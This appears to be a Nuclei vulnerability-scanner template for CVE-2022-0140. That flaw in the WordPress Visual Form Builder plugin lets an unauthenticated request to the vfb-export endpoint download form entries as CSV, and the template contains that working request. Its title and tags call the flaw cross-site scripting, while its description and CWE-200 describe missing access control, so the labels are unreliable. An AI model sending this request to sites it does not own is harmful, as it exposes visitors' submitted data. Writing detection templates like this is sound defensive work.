id: CVE-2022-0140 info: name: WordPress Visual Form Builder <3.0.8 - Cross-Site Scripting author: random-robbie severity: medium description: | WordPress Visual Form Builder plugin before 3.0.8 contains a cross-site scripting vulnerability. The plugin does not perform access control on entry form export, allowing an unauthenticated user to export the form entries as CSV files using the vfb-export endpoint. reference: - https://wpscan.com/vulnerability/9fa2b3b6-2fe3-40f0-8f71-371dd58fe336 - https://www.fortiguard.com/zeroday/FG-VD-21-082 - https://nvd.nist.gov/vuln/detail/cve-2022-0140 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2022-0140 cwe-id: CWE-200 tags: wpscan,cve,cve2022,xss,wordpress requests: - raw: - | POST /wp-admin/admin.php?page=vfb-export HTTP/1.1 Host: {{Hostname}} Referer: {{RootURL}}/wp-admin/admin.php?page=vfb-export Content-Type: application/x-www-form-urlencoded Origin: {{RootURL}} vfb-content=entries&format=csv&entries_form_id=1&entries_start_date=0&entries_end_date=0&submit=Download+Export+File matchers-condition: and matchers: - type: word words: - '"Date Submitted"' - '"Entries ID"' condition: and - type: status status: - 200 # Enhanced by mp on 2022/08/28